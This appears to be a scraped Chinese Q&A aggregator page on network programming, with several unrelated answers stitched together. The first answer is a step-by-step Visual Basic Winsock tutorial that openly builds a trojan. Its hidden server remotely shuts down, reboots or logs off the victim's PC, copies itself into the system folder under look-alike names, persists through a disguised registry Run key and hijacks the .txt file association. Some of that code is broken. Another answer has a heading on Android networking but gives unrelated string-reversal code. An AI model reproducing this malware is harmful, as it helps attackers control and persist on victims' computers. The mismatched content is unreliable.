導航:首頁 > 編程知識 > 網路通信編程如何打開軟體

網路通信編程如何打開軟體

發布時間:2023-06-30 03:06:27

Ⅰ VB中使用winsock控制項要實現網路通信怎麼編程服務端和客戶端都必須各編個程序

首先,新建一工程,名為Server,新建一個窗體,Name為frmServer,在窗體中加入一個winsock控制項,Name設為sckServer,協議設為默認的TCP/IP協議。
接下來我們回來frmServer窗體模塊中,添加如下代碼
Private Sub form_Load()
With Me
.sckServer.LocalPort = 4000『本地埠
.sckServer.Listen 『開始監聽
End With
End Sub
『接受客戶端的連接請求。
Private Sub sckServer_ConnectionRequest(ByVal requestID As Long)
With Me
If .sckServer.State <>sckClosed Then .sckServer.Close
.sckServer.Accept (requestID)
End With
End Sub
下面我們來建立客戶端程序:新建一個工程,名為Client,把窗體名為frmClient,在上面加入一個winsock控制項,名為sckClient,協議為TCP/IP協議。再加一個按鈕cmdConnect在窗體模塊中加入代碼:
Private Sub form_Load()
With Me
.sckClient.RemoteHost = "127.0.0.1"『設置遠程IP,本例設為本機。
.sckClient.RemotePort = 4000 『遠程埠,就為server中的設置一樣.
End With
End Sub
Private sub cmdConnect_Click()
SckClient.Connect
End sub
至此,單擊Connect按鈕我們的兩個工程已經可以進行通信了,但看不見,你可以在Client中的sckClient_Connect事件中加入代碼:debug.print 「Connetion successful!」來查看。
這僅是第一步,一點工作也做不了,下面我們來為它們添加功能。為了簡單,我們打算實現一點小小的功能―――關機,重啟,注銷。好,開始吧!
在Server工程中新建一個模塊,Name為modApi,這個模快為一些API函數,添加如下API函數:
Public Declare Function ExitWindowsEx Lib "user32" Alias "ExitWindowsEx" (ByVal uFlags As Long, ByVal dwReserved As Long) As Long
Public Const EWX_LOGOFF = 0
Public Const EWX_REBOOT = 2
Public Const EWX_SHUTDOWN = 1
Public Declare Function ClipCursor Lib "user32" Alias "ClipCursor" (lpRect As Any) As Long
Public Type RECT
Left As Long
Top As Long
Right As Long
Bottom As Long
End Type
註:在兩個socket中編程中,進行通信的重要事件是DataArrival事件,用於接收遠程數據。
下面在Client工程的frmClient窗體中放入三個按鈕,分別為cmdExit,cmdLogoff,cmdReboot。它們用於對遠程的關機,注銷,重啟操作。分別添加如下代碼:
Private Sub cmdExit_Click()
Me.sckClient.SendData "Exit"
End Sub

Private Sub cmdLogoff_Click()
Me.sckClient.SendData "Logoff"
End Sub

Private Sub cmdReboot_Click()
Me.sckClient.SendData "Reboot"
End Sub
全都是對服務端發出請求。下面轉到Server工程中:在frmServer中添加sckServer的DataArrial事件,接收客戶端的請求。
Private Sub sckServer_DataArrival(ByVal bytesTotal As Long)
Dim strData As String
With Me
'' 接收客戶請求的信息
.sckServer.GetData strData
Select Case strData
Case "Exit"
''關機
Call ExitWindowsEx(EWX_SHUTDOWN, 0)
Case "Reboot"
''重啟
Call ExitWindowsEx(EWX_REBOOT, 0)
Case "Logoff"
''注銷
Call ExitWindowsEx(EWX_LOGOFF, 0)
End Select
End With
End Sub
好了,到此我們已經實現功能了,但還不行,我們要它在背後運行。這簡單,在frmServer中的form_Load事件中加入一句:me.hide。好這下看不見了,但大家知道木馬是一開機就自動運行了,這又是為什麼,怎麼實現的?把它加入到注冊表的啟動組中?對,不錯,跟我來吧!
回到Server工程中的modApi中加入如下API函數:
Public Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Public Declare Function RegSetvalueEx Lib "advapi32.dll" Alias "RegSetvalueExA" (ByVal hKey As Long, ByVal lpvalueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
Public Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Public Const REG_BINARY = 3
Public Const REG_SZ = 1
Public Const HKEY_LOCAL_MACHINE = &H80000002
Public Const HKEY_CLASSES_ROOT = &H80000000
寫到注冊表啟動組中的過程。
Public Sub StartupGroup()
Dim sKey As String
Dim result As Long
Dim hKeyID As Long
Dim sKeyVal As String

sKey = "Systrsy" ''啟動組中的鍵,找一個與系統文件相近的。
sKeyVal = "C:\windows\system\systrsy.exe" ''木馬文件的路徑,可以用GetSystemDirectory來取得系統路徑。
result = RegOpenKey(HKEY_LOCAL_MACHINE, _
"Software\Microsoft\Windows\CurrentVersion\Run", hKeyID)
If result = 0 Then
result = RegSetvalueEx(hKeyID, sKey, 0&, REG_SZ, sKeyVal, _
Len(sKey) + 1)
End If
End Sub
好就這樣簡單地完成了。但是,想過沒有,如果不是很菜的鳥,到注冊表中見一刪,我們苦苦的心血不就白白地浪費了嗎?不行,還得想讓他發現了刪也刪不掉。請看下面的代碼:
Public Sub WriteToTxt()
Dim result As Long
Dim hKeyID As Long
Dim skey As String
Dim skeyVal As String
skey = "txtfile\shell\open\command"
skeyVal = "C:\windows\system\txtView.exe"
result = RegOpenKey(HKEY_CLASSES_ROOT, skeyVal, hKeyID)
If result = 0 Then
result = RegSetvalueEx(hKeyID, skey, 0&, REG_SZ, _
skeyVal, Len(skeyVal) + 1)
End If
End Sub
肯定不少朋友一看就知道了,原是與txt文件進行關聯,一點也不錯,但C:\windows\system\txtView.exe是哪裡來的,我們的木馬是C:\windows\system\systrsy.exe呀。這可是我們木馬的分身了。
好,回到Server工程的frmServer窗體的form_Load中,加入如下代碼:
Dim sCurrentPath As String, sSystemDir As String
sCurrentPath = App.Path & "\" & App.EXEName & ".exe"
sSystemDir = 「C:\windows\system」
On Error Resume Next
『復制文件成系統目錄下的Systrsy.exe
FileCopy sCurrentPath, sSystemDir & "\Systrsy.exe"
On Error Resume Next
復制文件成系統目錄下的txtView.exe
FileCopy sCurrentPath, sSystemDir & "\txtView.exe"

調用
Call startupGroup
Call WriteToTxt

''判斷程序是否下在運行
If App.PrevInstance Then
『如果已經運行就退出。
End
End If

Ⅱ android 網路編程之網路通信幾種方式實例分享

1.最簡單的方法:
publicstaticStringreverse1(Stringstr)
{
returnnewStringBuffer(str).reverse().toString();
}
2.最常用的方法:
publicstaticStringreverse3(Strings)
{
char[]array=s.toCharArray();
Stringreverse="";//注意這是空,不是null
for(inti=array.length-1;i>=0;i--)
reverse+=array[i];
returnreverse;
}
3.常用方法的變形:
publicstaticStringreverse2(Strings)
{
intlength=s.length();
Stringreverse="";//注意這是空,不是null
for(inti=0;i<length;i++)
reverse=s.charAt(i)+reverse;//在前面連接,而非常見的後面
returnreverse;
}
4.C語言中常用的方法:
publicstaticStringreverse5(Stringorig)
{
char[]s=orig.toCharArray();
intn=s.length-1;
inthalfLength=n/2;
for(inti=0;i<=halfLength;i++){
chartemp=s[i];
s[i]=s[n-i];
s[n-i]=temp;
}
returnnewString(s);//知道char數組和String相互轉化
}

Ⅲ 網路通信 TCP 客戶端編程

TCP/IP、Http、Soap都是基本的通訊協議。樓主若是行內人士一定知道這些。這里我不妨多說幾句。
通訊協議即網路中(包括互聯網、區域網)傳遞、管理信息的一些規范。常見的協議有:TCP/IP協議、IPX/SPX協議、NetBEUI協議、SOAP協議等。在區域網中用得的比較多的是IPX/SPX。用戶如果訪問Internet,則必須在網路協議中添加TCP/IP協議。

TCP/IP是「transmission Control Protocol/Internet Protocol」的簡寫,它規范了網路上的所有通信設備,尤其是一個主機與另一個主機之間的數據往來格式以及傳送方式。TCP/IP是INTERNET的基礎協議,也是一種電腦數據打包和定址的標准方法.假設伺服器、實現網路通信(比如聊天),不管你是.NET還是其他,一定要了解TCP/IP。

在WEB編程中,服務端是指提供HTTP服務的部分,客戶端是指你使用的瀏覽器。HTTP協議就是實現客戶端和伺服器端的通訊。簡單說就是請求與響應,你提交了什麼,返回個什麼都可以在HTTP里規范。舉個例子,用戶在WEB頁上看到自己的客戶端信息實際是HTTP的2次通訊。

SOAP(Simple Object Access Protocal,簡單對象訪問協議) 技術有助於實現大量異構程序和平台之間的互操作性,根據我有限的了解,SOAP是把成熟的基於HTTP的WEB技術與XML的靈活性和可擴展性組合在了一起。比如我們.NET中的WEB服務,就是基於SOAP

簡單說就是這樣,每一種通訊協議都很復雜,建議樓主多了解HTTP和SOAP。

java中的socket編程是作什麼的

Socket,又稱為套接字,Socket是計算機網路通信的基本的技術之一。如今大多數基於網路的回軟體,如瀏覽器,即答時通訊工具甚至是P2P下載都是基於Socket實現的。本文會介紹一下基於TCP/IP的Socket編程,並且如何寫一個客戶端/伺服器程序。
方法/步驟

Java中的socket編程 下面的部分將通過一些示例講解一下如何使用socket編寫客戶端和伺服器端的程序。 注意:在接下來的示例中,我將使用基於TCP/IP協議的socket編程,因為這個協議遠遠比UDP/IP使用的要廣泛。並且所有的socket相關的類都位於java.net包下,所以在我們進行socket編程時需要引入這個包。

寫入數據 接下來就是寫入請求數據,我們從客戶端的socket對象中得到OutputStream對象,然後寫入數據後。很類似文件IO的處理代碼。

打開伺服器端的socket

讀取數據 通過上面得到的socket對象獲取InputStream對象,然後安裝文件IO一樣讀取數據即可。這里我們將內容列印出來。

使用socket實現一個回聲伺服器,就是伺服器會將客戶端發送過來的數據傳回給客戶端。

Ⅳ java網路編程應該怎樣在客戶端和伺服器間實現通信

以前寫的,照貼了。。。伺服器端:import java.awt.*;
import java.awt.event.WindowAdapter;
import java.awt.event.WindowEvent;
import java.io.*;
import java.net.*;/*6、 採用UDP協議,編寫一個Java網路應用程序,該應用分伺服器端程序和客戶端程序兩部分。
* 客戶端指定一個伺服器上的文件名,讓伺服器發回該文件的內容,或者提示文件不存在。
* (20分)(服務端程序和客戶端程序分別命名為Server.java和Client.java)*/
public class N4BT6 extends Frame
{
DatagramSocket socket ;
DatagramPacket packet ;byte[] buf ;
File file ;
FileInputStream input;
String message = "該文件不存在";
TextArea text;
public N4BT6(String title)
{
super(title);
text = new TextArea(6,4);
add(text);
setSize(400, 300);
setVisible(true);
addWindowListener(new WindowAdapter()
{
public void windowClosing(WindowEvent e)
{
dispose();
}
});

buf = new byte[1024];
try
{
socket = new DatagramSocket(1230);
packet = new DatagramPacket(buf, buf.length);
socket.receive(packet);
file = new File(new String(packet.getData()));
socket = new DatagramSocket();
}
catch (Exception e)
{e.printStackTrace();
}

if(file.exists())
{
try
{
buf = new byte[(int)file.length()];
packet = new DatagramPacket(buf,buf.length,InetAddress.getLocalHost(),1234);
input = new FileInputStream(file);
input.read(buf);
socket.send(packet);
}
catch (IOException e)
{
e.printStackTrace();
}
}
else
{
try
{
packet = new DatagramPacket(message.getBytes(),message.getBytes().length,
InetAddress.getLocalHost(),1234);
socket.send(packet);
}
catch (Exception e)
{
e.printStackTrace();
}
}

}
public static void main(String[] args)
{
new N4BT6("Server");
}
}
客戶端:import java.awt.*;
import java.awt.event.*;
import java.net.DatagramPacket;
import java.net.DatagramSocket;
import java.net.InetAddress;public class N4BT6_2 extends Frame
{
TextArea text;
String message = "Q.txt";
DatagramSocket socket ;
DatagramPacket packet;
byte[] buf;
public N4BT6_2(String title)
{
super(title);
text = new TextArea(6,4);
add(text);
setSize(400, 300);
setVisible(true);
addWindowListener(new WindowAdapter()
{
public void windowClosing(WindowEvent e)
{
dispose();
}
});
try
{

socket = new DatagramSocket();
packet = new DatagramPacket(message.getBytes(),message.getBytes().length,
InetAddress.getLocalHost(),1230);
socket.send(packet);
}
catch (Exception e)
{
e.printStackTrace();
}

try
{
buf = new byte[1024];
socket = new DatagramSocket(1234);
packet = new DatagramPacket(buf,buf.length);
socket.receive(packet);
text.append(new String(buf));
}
catch (Exception e)
{
e.printStackTrace();
}
}
public static void main(String[] args)
{
new N4BT6_2("Client");
}
}

閱讀全文

與網路通信編程如何打開軟體相關的資料

熱點內容
ps怎麼移植文件 瀏覽:443
傳奇補丁文件說明 瀏覽:513
奧維地圖怎麼設置網路疊加 瀏覽:407
linux載入庫文件so失敗 瀏覽:714
大家都想要的app 瀏覽:58
程序員比特幣 瀏覽:568
mysqlfrm是什麼文件 瀏覽:665
win10點擊文件夾聲音消失 瀏覽:963
蘋果手機空白文件名 瀏覽:833
linuxmv覆蓋合並文件夾 瀏覽:932
不開訪客網路怎麼聯網 瀏覽:631
win10的軟體卸載 瀏覽:779
crv汽車自帶網路怎麼打開 瀏覽:973
食品原材料到什麼網站購買 瀏覽:649
一年級的小孩子學編程怎麼樣 瀏覽:863
ic考勤機怎麼導出數據 瀏覽:922
網站設計編程如何開始學習 瀏覽:749
淘寶代碼隱藏導航不見了 瀏覽:7
macbookpro如何修改文件內容 瀏覽:965
java穩定排序 瀏覽:53

友情鏈接